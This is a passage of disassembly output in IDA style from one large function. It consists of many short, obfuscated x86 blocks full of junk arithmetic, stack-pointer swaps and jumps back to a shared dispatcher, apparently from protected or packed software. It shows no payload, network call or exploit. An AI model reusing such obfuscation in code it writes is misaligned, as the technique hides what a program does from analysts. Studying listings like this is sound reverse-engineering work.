loc_5AC784:				; CODE XREF: sub_58A891+247CBj
		sub	ebx, 5F2F168Eh
		pop	ecx
		xor	ebx, [esp+3Eh+var_40+2]
		xor	[esp+3Eh+var_40+2], ebx
		xor	ebx, [esp+3Eh+var_40+2]
		pop	esp
		mov	[esp+3Ah+var_3C+2], eax
		mov	eax, ebx
		mov	ebx, eax
		pop	eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC7A2:				; CODE XREF: sub_58A891+1C11Bj
		pop	eax
		push	29FEh
		mov	[esp+0AEh+var_AE], edi
		mov	edi, 43F30879h
		xor	edx, edi
		pop	edi
		jmp	loc_5AED52
; ---------------------------------------------------------------------------


loc_5AC7B8:				; CODE XREF: sub_58A891+15944j
		test	cx, ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC7C1:				; CODE XREF: sub_58A891+172AFj
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		pop	eax
		sub	bl, al
		push	34A5h
		mov	[esp+96h+var_98+2], edx
		push	ebx
		mov	bl, 96h
		push	eax
		jmp	loc_5A9BD8
; ---------------------------------------------------------------------------


loc_5AC7DF:				; CODE XREF: sub_58A891+1A8B8j
		push	594Ch
		jmp	loc_59F3D2
; ---------------------------------------------------------------------------


loc_5AC7E9:				; CODE XREF: sub_58A891+275DAj
		pop	eax
		add	edx, 4
		jmp	loc_5AEDEA
; ---------------------------------------------------------------------------


loc_5AC7F2:				; CODE XREF: sub_58A891+17BF9j
		push	[esp+0A6h+var_A6]
		push	[esp+0AAh+var_AA]
		push	[esp+0AEh+var_AE]
		jmp	loc_5A9E8C
; ---------------------------------------------------------------------------


loc_5AC800:				; CODE XREF: sub_58A891+12EEBj
		pop	ebp
		push	57A1h
		mov	[esp+0B0h+var_B2+2], ebp
		mov	bp, 479Ch
		add	bp, 6CC3h
		sub	esp, 2
		mov	word ptr [esp+0B4h+var_B6+2], ax
		mov	ax, 36E6h
		and	bp, ax
		mov	ax, word ptr [esp+0B4h+var_B6+2]
		add	esp, 2
		xor	bp, 4686h
		jmp	loc_5A9895
; ---------------------------------------------------------------------------


loc_5AC831:				; CODE XREF: sub_58A891+133D9j
		mov	[esp+3Ah+var_3C+2], esi
		mov	esi, 800000h
		jmp	loc_5AEFA2
; ---------------------------------------------------------------------------


loc_5AC83E:				; CODE XREF: sub_58A891+1D688j
		pop	ebp
		jmp	loc_5ABAE9
; ---------------------------------------------------------------------------


loc_5AC844:				; CODE XREF: sub_58A891+193B2j
		push	ebp
		mov	ebp, 0CC66EDE6h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5AE3D1
; ---------------------------------------------------------------------------


loc_5AC852:				; CODE XREF: sub_58A891+19E0Aj
					; sub_58A891+1B1CEj
		sub	esp, 4
		jmp	loc_5B04E1
; ---------------------------------------------------------------------------


loc_5AC85A:				; CODE XREF: sub_58A891+18ABBj
					; sub_58A891+22212j
		push	85Ah
		mov	[esp+12h+var_14+2], ebp
		mov	ebp, 253762B1h
		add	[esp+12h+var_C+2], ebp
		pop	ebp
		push	[esp+0Eh+var_10+2]
		jmp	loc_5A2996
; ---------------------------------------------------------------------------


loc_5AC874:				; CODE XREF: sub_58A891+13210j
		add	esp, 4
		jmp	loc_5A26F5
; ---------------------------------------------------------------------------


loc_5AC87C:				; CODE XREF: sub_58A891+1583Ej
		neg	dh
		push	eax
		mov	ah, 63h
		shl	ah, 6
		inc	ah
		jmp	loc_59E5D3
; ---------------------------------------------------------------------------


loc_5AC88B:				; CODE XREF: sub_58A891+1E7FBj
		jmp	loc_5A24E4
; ---------------------------------------------------------------------------


loc_5AC890:				; CODE XREF: sub_58A891+1336Dj
		inc	edi
		js	loc_5B1A8D
		inc	edi
		add	edi, 52980CA4h
		mov	eax, edi
		pop	edi
		push	eax


loc_5AC8A2:				; CODE XREF: sub_58A891+11C3Bj
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+2Eh+var_30+2]
		pop	esp
		push	eax
		push	[esp+2Eh+var_2C+2]
		pop	eax
		pop	[esp+2Eh+var_30+2]
		mov	esp, [esp+2Ah+var_2C+2]
		div	cx
		push	small 3368h
		mov	word ptr [esp+2Ch+var_2C], dx
		jmp	loc_5B2BAC
; ---------------------------------------------------------------------------


loc_5AC8CA:				; CODE XREF: sub_58A891+2015Bj
					; sub_58A891+2486Aj
		xchg	ebp, [esp+0AEh+var_AE]
		mov	esp, [esp+0AEh+var_AE]
		mov	ecx, [esp+0AEh+var_AE]
		push	66F2h
		mov	[esp+0B2h+var_B2], eax
		push	esp
		jmp	loc_5B2354
; ---------------------------------------------------------------------------


loc_5AC8E1:				; CODE XREF: sub_58A891+248A9j
		mov	[esp+0B6h+var_B6], edi
		push	[esp+0B6h+var_B2]
		jmp	loc_5AD3CD
; ---------------------------------------------------------------------------


loc_5AC8ED:				; CODE XREF: sub_58A891+1B261j
		add	eax, ebp
		push	edx
		mov	edx, 47DD662Bh
		shr	edx, 4
		neg	edx
		add	edx, 116EF773h
		jmp	loc_5A4B03
; ---------------------------------------------------------------------------


loc_5AC905:				; CODE XREF: sub_58A891+19D88j
					; sub_58A891+23204j
		mov	[esp+5Ah+var_5C+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+5Eh+var_5C+2]
		pop	edx
		pop	[esp+5Eh+var_60+2]
		pop	esp
		sub	al, bl
		push	ecx
		jmp	loc_59C37E
; ---------------------------------------------------------------------------


loc_5AC925:				; CODE XREF: sub_58A891+24A83j
		pop	ecx
		add	esp, 4
		jmp	loc_5A11B6
; ---------------------------------------------------------------------------


loc_5AC931:				; CODE XREF: sub_58A891+1BD2Bj
		mov	esp, [esp+0EEh+var_F0+2]
		push	3322h
		mov	[esp+0F2h+var_F4+2], ebx
		jmp	loc_5AB9D7
; ---------------------------------------------------------------------------


loc_5AC941:				; CODE XREF: sub_58A891+13885j
		add	eax, 0F6772161h
		mov	esi, eax
		pop	eax
		jmp	loc_5A1197
; ---------------------------------------------------------------------------


loc_5AC94E:				; CODE XREF: sub_58A891+23F9Aj
		push	254Ah
		jmp	loc_5A1C65
; ---------------------------------------------------------------------------


loc_5AC958:				; CODE XREF: sub_58A891+1EA1Bj
		push	edi
		push	ebx
		jmp	loc_5ABC3A
; ---------------------------------------------------------------------------


loc_5AC95F:				; CODE XREF: sub_58A891+12298j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A015B
; ---------------------------------------------------------------------------


loc_5AC973:				; CODE XREF: sub_58A891+282C6j
		mov	ebx, edi
		push	ebx
		push	esi
		mov	esi, 4ED67B33h
		jmp	loc_5A060E
; ---------------------------------------------------------------------------


loc_5AC981:				; CODE XREF: sub_58A891+1308Cj
		mov	ecx, [esp+0AAh+var_AA]
		add	esp, 4
		add	dl, bh
		sub	dl, 0AEh
		jmp	loc_59ED12
; ---------------------------------------------------------------------------


loc_5AC994:				; CODE XREF: sub_58A891+15B49j
		mov	[esp+6Eh+var_70+2], esp
		add	[esp+6Eh+var_70+2], 4
		push	[esp+6Eh+var_70+2]
		pop	ebx
		add	esp, 4
		push	ebp
		push	esi
		mov	esi, 31C571FEh
		mov	ebp, esi
		mov	esi, [esp+72h+var_74+2]
		add	esp, 4
		push	1406h
		mov	[esp+72h+var_74+2], eax
		jmp	loc_5ABA64
; ---------------------------------------------------------------------------


loc_5AC9C4:				; CODE XREF: sub_58A891+13C71j
		push	[esp+3Ah+var_3C+2]
		push	[esp+3Eh+var_40+2]
		mov	ebx, [esp+42h+var_44+2]
		jmp	loc_5A3B7E
; ---------------------------------------------------------------------------


loc_5AC9D2:				; CODE XREF: sub_58A891+22F21j
		mov	esi, [esp+42h+var_44+2]
		add	esp, 4
		sub	edi, ebx
		mov	ebx, [esp+3Eh+var_40+2]
		add	esp, 4
		jmp	loc_5B252B
; ---------------------------------------------------------------------------


loc_5AC9E5:				; CODE XREF: sub_58A891+259ABj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC9EA:				; CODE XREF: sub_58A891+274A5j
		push	edx
		mov	dh, 1
		jmp	loc_5AB21B
; ---------------------------------------------------------------------------


loc_5AC9F2:				; CODE XREF: sub_58A891+16B5Aj
		sub	al, dh
		sub	al, 0Fh
		mov	edx, [esp+0A6h+var_A6]
		add	esp, 4
		jmp	loc_59E35E
; ---------------------------------------------------------------------------


loc_5ACA04:				; CODE XREF: sub_58A891+22561j
		push	ebp
		not	[esp+0A6h+var_A6]
		pop	ebp
		jmp	loc_5A7319
; ---------------------------------------------------------------------------


loc_5ACA0E:				; CODE XREF: sub_58A891+253D7j
		mov	esi, [esp+0A2h+var_A2]
		add	esp, 4
		xchg	ecx, [esp+9Eh+var_9E]
		mov	esp, [esp+9Eh+var_9E]
		sub	esi, 4
		xor	esi, [esp+9Eh+var_9E]
		xor	[esp+9Eh+var_9E], esi
		xor	esi, [esp+9Eh+var_9E]
		mov	esp, [esp+9Eh+var_9E]
		jmp	loc_5A5673
; ---------------------------------------------------------------------------


loc_5ACA31:				; CODE XREF: sub_58A891+179C9j
		xor	ebx, 0DC47F566h
		sub	ebp, 2E5F18C9h
		jmp	loc_5AAF24
; ---------------------------------------------------------------------------


loc_5ACA42:				; CODE XREF: sub_58A891+273C1j
		mov	eax, 6AC00544h
		jmp	loc_5A4944
; ---------------------------------------------------------------------------


loc_5ACA4C:				; CODE XREF: sub_58A891+14030j
		push	[esp+0A4h+var_A6+2]
		pop	ebp
		add	esp, 4
		push	7FAFh
		mov	[esp+0A4h+var_A6+2], edx
		push	esi
		push	edi
		jmp	loc_5A55D0
; ---------------------------------------------------------------------------


loc_5ACA62:				; CODE XREF: sub_58A891+26FC7j
		jns	loc_5B2071
		shl	esi, 2
		sub	esi, 32BE38ECh
		mov	ecx, esi
		mov	bh, ch
		mov	dl, 0


loc_5ACA77:				; CODE XREF: sub_58A891+14AA0j
		pop	edx
		jmp	loc_5AB75B
; ---------------------------------------------------------------------------


loc_5ACA7D:				; CODE XREF: sub_58A891+17A25j
		mov	[esp+0DAh+var_DA], ebp
		jmp	loc_59DDD2
; ---------------------------------------------------------------------------


loc_5ACA85:				; CODE XREF: sub_58A891+1ED4Ej
		xchg	edi, [esp+42h+var_44+2]
		mov	esp, [esp+42h+var_44+2]
		mov	[esp+42h+var_44+2], eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACA93:				; CODE XREF: sub_58A891+1E21Bj
		mov	edx, 2DBB7B44h
		neg	edx
		jp	loc_59C3C2
		shr	edx, 5
		jp	loc_5AC85A
		xor	edx, 6922421h
		push	edi
		mov	edi, edx
		jmp	loc_5A4A7E
; ---------------------------------------------------------------------------


loc_5ACAB7:				; CODE XREF: sub_58A891+242A7j
		add	edx, eax
		pop	eax
		sub	[esp+56h+var_54+2], 2CD46344h
		push	edi
		jmp	loc_5A9D38
; ---------------------------------------------------------------------------


loc_5ACAC8:				; CODE XREF: sub_58A891+20959j
		xor	[esp+0A0h+var_A2+2], edi
		xor	edi, [esp+0A0h+var_A2+2]
		mov	esp, [esp+0A0h+var_A2+2]
		test	ecx, eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACAD9:				; CODE XREF: sub_58A891+1D248j
					; sub_58A891+1D27Aj
		add	ebp, 566F69ADh
		jmp	loc_5A9611
; ---------------------------------------------------------------------------


loc_5ACAE4:				; CODE XREF: sub_58A891+1ED05j
		xor	ch, 0DDh
		sub	al, ch
		mov	ecx, [esp+22h+var_24+2]
		jmp	loc_5A558F
; ---------------------------------------------------------------------------


loc_5ACAF1:				; CODE XREF: sub_58A891+26F3Dj
		sub	dl, 80h
		xor	dl, 3Ch
		jmp	loc_5B0673
; ---------------------------------------------------------------------------


loc_5ACAFC:				; CODE XREF: sub_58A891+19D92j
		pop	edx
		push	ebp
		mov	ebp, 29B350D0h
		push	4551h
		jmp	loc_5A9344
; ---------------------------------------------------------------------------


loc_5ACB0D:				; CODE XREF: sub_58A891+2779Aj
		xor	esi, 49736A3Eh
		jl	loc_59E371
		sub	esi, 32173B3h
		jb	loc_5A98DE
		pop	esp


loc_5ACB26:				; CODE XREF: sub_58A891+15D26j
					; sub_58A891+19F7Aj
		ror	[esp+0Eh+var_10+2], cl
		pushf
		jmp	loc_5A11F0
; ---------------------------------------------------------------------------


loc_5ACB2F:				; CODE XREF: sub_58A891+2433Fj
		sub	esi, 1FCC3C7Fh
		jmp	loc_59ED74
; ---------------------------------------------------------------------------


loc_5ACB3A:				; CODE XREF: sub_58A891+26F74j
		sub	edx, 13851910h
		add	edx, edi
		add	edx, 13851910h
		push	ebp
		mov	ebp, 4F056972h
		xor	ebp, 660C48CEh
		sub	edx, 540E032Ch
		add	edx, ebp
		add	edx, 540E032Ch
		jmp	loc_5A8541
; ---------------------------------------------------------------------------


loc_5ACB67:				; CODE XREF: sub_58A891+1E90Cj
		add	esi, 464E3273h
		add	esi, 32A11C6Fh
		jmp	loc_5A4679
; ---------------------------------------------------------------------------


loc_5ACB78:				; CODE XREF: sub_58A891+1296Bj
					; sub_58A891+267D4j
		add	edi, ebx
		mov	ebx, [esp+0]
		jmp	loc_5AC65D
; ---------------------------------------------------------------------------


loc_5ACB82:				; CODE XREF: sub_58A891+1966Aj
		xor	ebx, 0D924DBD7h
		mov	esi, ebx
		jmp	loc_5ABFED
; ---------------------------------------------------------------------------


loc_5ACB8F:				; CODE XREF: sub_58A891+251B6j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+5Eh+var_60+2]
		pop	esp
		push	[esp+5Ah+var_5C+2]
		mov	ecx, [esp+5Eh+var_60+2]
		jmp	loc_5AF621
; ---------------------------------------------------------------------------
		mov	esp, [esp+5Eh+var_60+2]
		jmp	loc_5A753C
; ---------------------------------------------------------------------------


loc_5ACBAF:				; CODE XREF: sub_58A891+20D8Bj
		push	3A57h
		mov	[esp+0DEh+var_DE], ecx
		mov	ecx, 4096AAAh
		add	edx, ecx
		pop	ecx
		not	edx
		push	esi
		mov	esi, 2C192C48h
		shl	esi, 4
		jmp	loc_5A6B05
; ---------------------------------------------------------------------------


loc_5ACBCF:				; CODE XREF: sub_58A891+12584j
		add	esi, edx
		pop	edx
		push	576Dh
		jmp	loc_59F17B
; ---------------------------------------------------------------------------


loc_5ACBDC:				; CODE XREF: sub_58A891+20087j
		push	4
		mov	esi, [esp+1Ah+var_1C+2]
		add	esp, 4
		add	[esp+16h+var_14+2], 49904C0Ah
		add	[esp+16h+var_14+2], esi
		jmp	loc_59D805
; ---------------------------------------------------------------------------


loc_5ACBF8:				; CODE XREF: sub_58A891+26703j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A7682
; ---------------------------------------------------------------------------


loc_5ACC09:				; CODE XREF: sub_58A891+1E239j
		mov	[esp+56h+var_58+2], esp
		add	[esp+56h+var_58+2], 4
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+56h+var_58+2], edi
		jmp	loc_59FBBC
; ---------------------------------------------------------------------------


loc_5ACC22:				; CODE XREF: sub_58A891+1F584j
		add	esi, ebx
		pop	ebx
		jmp	loc_5A63FD
; ---------------------------------------------------------------------------


loc_5ACC2A:				; CODE XREF: sub_58A891+134C7j
		push	4F8F3F75h
		pop	ecx
		sub	ebx, ecx
		pop	ecx
		pop	edi
		push	1786h
		jmp	loc_5B2FDE
; ---------------------------------------------------------------------------


loc_5ACC3E:				; CODE XREF: sub_58A891+185ACj
		pop	esp
		and	eax, esi
		mov	esi, [esp+92h+var_94+2]
		jmp	loc_5A96DD
; ---------------------------------------------------------------------------


loc_5ACC49:				; CODE XREF: sub_58A891+198F7j
					; sub_58A891+1F903j
		mov	[esp+0A4h+var_A6+2], edx
		mov	dl, 27h
		sub	bl, dl
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACC5C:				; CODE XREF: sub_58A891+1F617j
		add	edx, 0EB26F646h
		push	eax
		jmp	loc_5ACE3F
; ---------------------------------------------------------------------------

locret_5ACC68:				; CODE XREF: sub_58A891+1B2A6j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACC6E:				; CODE XREF: sub_58A891+202FBj
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp+0BAh+var_BA], edi
		push	[esp+0BAh+var_B6]
		jmp	loc_5AAEC7
; ---------------------------------------------------------------------------


loc_5ACC89:				; CODE XREF: sub_58A891+22888j
		mov	esi, 0A57093Bh
		and	esi, 23BE54E8h
		not	esi
		shr	esi, 3
		not	esi
		and	esi, 502C38C7h
		sub	esi, 1F51823Dh
		add	ecx, 647375C0h
		add	ecx, esi
		sub	ecx, 647375C0h
		mov	esi, [esp+0BEh+var_BE]
		add	esp, 4
		push	ecx
		not	[esp+0BEh+var_BE]
		pop	ecx
		push	edi
		mov	edi, 2BE2469h
		or	edi, 266F1902h
		neg	edi
		add	edi, 54EBA95h
		sub	ecx, edi
		pop	edi
		add	eax, ecx
		jmp	loc_5ADA61
; ---------------------------------------------------------------------------


loc_5ACCDE:				; CODE XREF: sub_58A891+237AAj
		mov	edx, 4
		jmp	loc_5A254E
; ---------------------------------------------------------------------------


loc_5ACCE8:				; CODE XREF: sub_58A891+1F2FDj
		add	eax, edx
		pop	edx
		push	eax
		jmp	loc_5B1BC7
; ---------------------------------------------------------------------------


loc_5ACCF1:				; CODE XREF: sub_58A891+215E0j
		pop	edx
		pop	esi
		push	26A5h
		mov	[esp+6Ch+var_6C], esi
		mov	esi, ecx
		sub	esp, 4
		mov	[esp+70h+var_70], esi
		add	[esp+70h+var_70], 75E51348h
		pop	eax
		sub	eax, 75E51348h
		jmp	loc_5A7784
; ---------------------------------------------------------------------------


loc_5ACD18:				; CODE XREF: sub_58A891+1C763j
					; sub_58A891+20102j
		add	esp, 4
		sub	esp, 4
		mov	[esp+0A6h+var_A6], ebp
		push	esp
		jmp	loc_5B03E5
; ---------------------------------------------------------------------------


loc_5ACD2D:				; CODE XREF: sub_58A891+12D32j
		mov	[esp+22h+var_24+2], eax
		push	[esp+22h+var_20+2]
		jmp	loc_5A99A7
; ---------------------------------------------------------------------------


loc_5ACD39:				; CODE XREF: sub_58A891+17B2Cj
		sub	edi, 212A1D1Ch
		sub	edi, 422C07CDh
		pop	ebp
		jmp	loc_59DAEF
; ---------------------------------------------------------------------------


loc_5ACD4B:				; CODE XREF: sub_58A891+26A93j
		push	[esp+0C2h+var_C2]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0C6h+var_C6]
		pop	esp
		jmp	loc_59C1DB
; ---------------------------------------------------------------------------


loc_5ACD64:				; CODE XREF: sub_58A891:loc_5B1597j
		sub	esi, 5691C1EFh
		sub	esi, 1
		push	ecx
		mov	ecx, 1D1F5206h
		or	esi, ecx
		push	[esp+0C6h+var_C6]
		pop	ecx
		add	esp, 4
		add	esi, 82A08525h
		jmp	loc_59DFD0
; ---------------------------------------------------------------------------


loc_5ACD8D:				; CODE XREF: sub_58A891+12C0Dj
		mov	ebx, 2
		jmp	loc_5A727B
; ---------------------------------------------------------------------------


loc_5ACD97:				; CODE XREF: sub_58A891+12CE1j
		xor	esi, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], esi
		xor	esi, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		push	176Dh
		mov	[esp+2Eh+var_30+2], ecx
		push	edi
		push	73426E3Bh
		jmp	loc_5B2E37
; ---------------------------------------------------------------------------


loc_5ACDB6:				; CODE XREF: sub_58A891+1D17Cj
		or	edi, 0FCB07DFh
		jle	loc_5B29C3
		push	ebp
		mov	ebp, 5C402E9Eh
		jmp	loc_59BFA3
; ---------------------------------------------------------------------------


loc_5ACDCD:				; CODE XREF: sub_58A891+1BDF2j
		mov	[esp+2Ah+var_2C+2], ecx
		jmp	loc_5A1B1A
; ---------------------------------------------------------------------------


loc_5ACDD5:				; CODE XREF: sub_58A891+1218Bj
		xchg	eax, [esp+0AEh+var_AE]
		mov	esp, [esp+0AEh+var_AE]
		and	ch, 0EBh
		sub	ch, 0FFh
		add	ch, 0BBh
		jmp	loc_5B1750
; ---------------------------------------------------------------------------


loc_5ACDE9:				; CODE XREF: sub_58A891+176B9j
		not	ebp
		dec	ebp
		add	ebp, 1
		dec	ebp
		not	ebp
		jmp	loc_5ACA04
; ---------------------------------------------------------------------------


loc_5ACDF7:				; CODE XREF: sub_58A891+2189Dj
					; sub_58A891+277B2j
		sub	al, 7Bh
		sub	esp, 4
		mov	[esp+42h+var_44+2], edx
		push	7F4Fh
		mov	[esp+46h+var_48+2], ecx
		jmp	loc_59C5A7
; ---------------------------------------------------------------------------


loc_5ACE0F:				; CODE XREF: sub_58A891+12E70j
					; sub_58A891+26D30j
		sub	esp, 4
		mov	[esp+26h+var_28+2], edx
		push	ebx
		push	ebp
		jmp	loc_5A7283
; ---------------------------------------------------------------------------


loc_5ACE1C:				; CODE XREF: sub_58A891+1499Bj
		pop	esp
		mov	[esp+0E2h+var_E2], eax
		mov	eax, 49E643B0h
		neg	eax
		xor	eax, 215A682Dh
		jmp	loc_5A038F
; ---------------------------------------------------------------------------


loc_5ACE31:				; CODE XREF: sub_58A891+15601j
		add	ebx, edi
		pop	edi
		jmp	loc_5AECBC
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5ABBC3
; ---------------------------------------------------------------------------


loc_5ACE3F:				; CODE XREF: sub_58A891+223D2j
		mov	eax, 57204761h
		jmp	loc_59D72B
; ---------------------------------------------------------------------------


loc_5ACE49:				; CODE XREF: sub_58A891+207EEj
		xor	eax, ebx
		mov	ebx, [esp+12h+var_14+2]
		jmp	loc_5A2466
; ---------------------------------------------------------------------------


loc_5ACE53:				; CODE XREF: sub_58A891+20918j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACE58:				; CODE XREF: sub_58A891+2681Ej
		sub	bl, 0Ah
		mov	eax, [esp+0B8h+var_BA+2]
		add	esp, 4
		add	bl, al
		jmp	loc_5B1E98
; ---------------------------------------------------------------------------


loc_5ACE6B:				; CODE XREF: sub_58A891+230AEj
		pop	edi
		jmp	loc_5A971D
; ---------------------------------------------------------------------------


loc_5ACE71:				; CODE XREF: sub_58A891+1BED8j
		dec	ecx
		jmp	loc_59CBCE
; ---------------------------------------------------------------------------


loc_5ACE77:				; CODE XREF: sub_58A891+257F7j
		push	edx
		mov	edx, 2B751E37h
		sub	edx, 248BDC2Bh
		sub	eax, edx
		pop	edx
		push	2BE0h
		mov	[esp+16h+var_18+2], edx
		push	ebx
		mov	ebx, 127648h
		push	6405h
		mov	[esp+1Eh+var_20+2], edx
		mov	edx, 64C917FBh
		jmp	loc_59FA66
; ---------------------------------------------------------------------------


loc_5ACEA6:				; CODE XREF: sub_58A891+28599j
		shr	edi, 8
		jmp	loc_5AFEC2
; ---------------------------------------------------------------------------


loc_5ACEAE:				; CODE XREF: sub_58A891+1A4E4j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_5B06EA
; ---------------------------------------------------------------------------


loc_5ACEC3:				; CODE XREF: sub_58A891+23390j
		push	ecx
		push	[esp+9Ah+var_98+2]
		push	[esp+9Eh+var_9E]
		pop	ecx
		push	9FEh
		mov	[esp+0A2h+var_A2], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0A2h+var_A2]
		pop	esp
		pop	[esp+9Eh+var_9E]
		mov	esp, [esp+0]
		shl	byte ptr [esp+0], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACEF5:				; CODE XREF: sub_58A891+248C9j
		add	ebx, 2
		jmp	loc_5A135D
; ---------------------------------------------------------------------------


loc_5ACF00:				; CODE XREF: sub_58A891+11AE8j
		push	ebx
		push	ecx
		mov	ecx, 50FC76C3h
		push	ecx
		inc	[esp+0Eh+var_10+2]
		pop	ecx
		jmp	loc_5A725C
; ---------------------------------------------------------------------------


loc_5ACF11:				; CODE XREF: sub_58A891+2804Bj
		dec	ecx
		jmp	loc_5AA6FC
; ---------------------------------------------------------------------------


loc_5ACF17:				; CODE XREF: sub_58A891+26B93j
		mov	edi, eax
		mov	eax, [esp+0Ah+var_C+2]
		add	esp, 4
		mov	ebx, edi
		pop	edi
		add	esi, ebx
		pop	ebx
		xor	esi, [esp+0]
		xor	[esp+0], esi
		jmp	loc_5A98DE
; ---------------------------------------------------------------------------


loc_5ACF30:				; CODE XREF: sub_58A891+27F1Ej
		pop	ecx
		jmp	loc_59FEE7
; ---------------------------------------------------------------------------


loc_5ACF36:				; CODE XREF: sub_58A891+1E97Ej
		pop	edx
		push	[esp+16h+var_18+2]
		pop	edi
		jmp	loc_5A586C
; ---------------------------------------------------------------------------


loc_5ACF40:				; CODE XREF: sub_58A891+12C32j
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACF4A:				; CODE XREF: sub_58A891+1DEB5j
		mov	ebp, 4
		add	esi, ebp
		push	[esp+0E2h+var_E2]
		jmp	loc_5A71F4
; ---------------------------------------------------------------------------


loc_5ACF59:				; CODE XREF: sub_58A891+18449j
					; sub_58A891+22853j
		add	ebx, 0F7CC889h
		xor	ecx, ebx
		pop	ebx
		neg	ecx
		sub	ecx, 5D4554CFh
		sub	esp, 4
		mov	[esp+70h+var_70], ebx
		push	edi
		push	15476BFEh
		jmp	loc_5A7D69
; ---------------------------------------------------------------------------


loc_5ACF7E:				; CODE XREF: sub_58A891+1854Ej
		mov	dl, 82h
		sub	dl, cl
		pop	ecx
		jmp	loc_5AC01A
; ---------------------------------------------------------------------------


loc_5ACF88:				; CODE XREF: sub_58A891+1550Fj
		add	bh, 69h
		sub	bh, 7Ah
		jmp	loc_59C980
; ---------------------------------------------------------------------------


loc_5ACF93:				; CODE XREF: sub_58A891:loc_5AEB93j
		dec	edi
		jmp	loc_5A0BED
; ---------------------------------------------------------------------------


loc_5ACF99:				; CODE XREF: sub_58A891+20F75j
		and	ebp, 76490BC4h
		xor	ebp, 54410B40h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5A44B6
; ---------------------------------------------------------------------------


loc_5ACFAD:				; CODE XREF: sub_58A891+12430j
		add	edi, 4
		xchg	edi, [esp+0A6h+var_A6]
		pop	esp
		xor	edi, [esp+0A2h+var_A2]
		xor	[esp+0A2h+var_A2], edi
		xor	edi, [esp+0A2h+var_A2]
		mov	esp, [esp+0A2h+var_A2]
		shr	word ptr [esp+0A2h+var_A2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACFCA:				; CODE XREF: sub_58A891+16BFFj
		not	ecx
		jmp	loc_5AE880
; ---------------------------------------------------------------------------


loc_5ACFD1:				; CODE XREF: sub_58A891+258A2j
		mov	ebp, 77903378h
		inc	ebp
		sub	ebp, 2B2A6C5Ch
		xor	ebp, 106B14AAh
		and	ebp, 55860003h
		xor	ebp, 8DE36481h
		xor	eax, ebp
		pop	ebp
		add	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		jmp	loc_5AF046
; ---------------------------------------------------------------------------


loc_5ACFFD:				; CODE XREF: sub_58A891+1A507j
		mov	esi, esp
		push	54F5h
		mov	[esp+1Ah+var_1C+2], ecx
		mov	ecx, 2DC94A47h
		inc	ecx
		jmp	loc_59D94E
; ---------------------------------------------------------------------------


loc_5AD012:				; CODE XREF: sub_58A891+1D63Bj
		xor	eax, edi
		pop	edi
		add	ebp, eax
		pop	eax
		push	ebx
		push	eax
		jmp	loc_5A0301
; ---------------------------------------------------------------------------


loc_5AD01F:				; CODE XREF: sub_58A891:loc_5A26B5j
		jmp	loc_5AD7BD
; ---------------------------------------------------------------------------


loc_5AD024:				; CODE XREF: sub_58A891+17284j
		jnp	loc_59F0CC
		add	ebx, 8240B089h
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 4B9922B1h
		dec	ecx
		jmp	loc_59F60B
; ---------------------------------------------------------------------------
		mov	cx, [esp+0]
		push	esi
		mov	esi, esp
		jmp	loc_5AFF69
; ---------------------------------------------------------------------------


loc_5AD050:				; CODE XREF: sub_58A891+12B17j
		xor	edi, 0E83C5AF5h
		mov	ecx, edi
		jmp	loc_5B1DFB
; ---------------------------------------------------------------------------


loc_5AD05D:				; CODE XREF: sub_58A891+14C67j
		mov	[esp+12h+var_14+2], ebx
		jmp	loc_59D8AF
; ---------------------------------------------------------------------------


loc_5AD065:				; CODE XREF: sub_58A891+16694j
		pop	esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp+0E2h+var_E2]
		add	esp, 4
		xchg	ebx, [esp+0DEh+var_DE]
		jmp	loc_59DD64
; ---------------------------------------------------------------------------


loc_5AD07C:				; CODE XREF: sub_58A891+18A37j
		shl	esi, 1
		shl	esi, 5
		jmp	loc_5A57D2
; ---------------------------------------------------------------------------


loc_5AD086:				; CODE XREF: sub_58A891+149E0j
		add	di, 29B7h
		jge	loc_5B0BEB
		xor	di, 0B2EDh
		mov	bx, di
		pop	edi
		shl	bx, 7
		mov	al, dl


loc_5AD0A0:				; CODE XREF: sub_58A891+12B76j
		xor	ecx, [esp+0C6h+var_C6]
		xor	[esp+0C6h+var_C6], ecx
		xor	ecx, [esp+0C6h+var_C6]
		jmp	loc_59FFC6
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0C6h+var_C6]
		push	edx
		jmp	loc_5A3683
; ---------------------------------------------------------------------------


loc_5AD0B8:				; CODE XREF: sub_58A891+147BEj
		pop	ebp
